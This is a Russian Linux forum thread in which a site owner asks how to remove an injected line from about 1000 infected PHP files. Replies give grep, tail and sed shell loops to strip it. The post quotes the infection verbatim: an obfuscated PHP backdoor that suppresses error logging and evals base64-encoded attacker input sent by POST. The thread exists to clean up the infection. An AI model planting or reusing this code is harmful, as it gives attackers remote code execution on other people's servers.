LINUX.ORG.RU

ssh - как удалить код в *.php фалах ?

 


0

1

Суть проблемы, есть сайт на котором куча файлов 10к, в 1000 файлов записался вирус. Вверху некоторых файлов добавлена однотипная строка. Как ее по ssh рекурсивно убрать, из всех файлов. Ето вообще реально, подскажите пожалуйста команду.

<?p-h-p /*435345352*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KaWYoJHBhdGNoZWRmdiA9PT0gIkdIS0FTTVZHIiApIHsgIEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgICB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*435345352*/ ?>

Восстанови из бэкапа. Серьезно.

По сабжу - можно седом попробовать, но насчет результата хз, и будет ли потом все работать как надо - тоже.

Zhbert ★★★★★ ()

Ну если это первая строка, то что может быть проще

for file in `grep -rl '435345352'`; do cat «$file» | tail -n +2 > «$file».swp_bak && mv «$file».swp.bak «$file»; done

anonymous ()
Ответ на: комментарий от anonymous

for file in `grep -rl '435345352'`; do cat «$file» | tail -n +2 > «$file».swp_bak && mv «$file».swp_bak «$file»; done

поправочка

anonymous ()
for i in $( grep -rl '435345352'); do sed -i '1s/.*\(<.*\)$/\1/g' "${i}"; done
anonymous ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.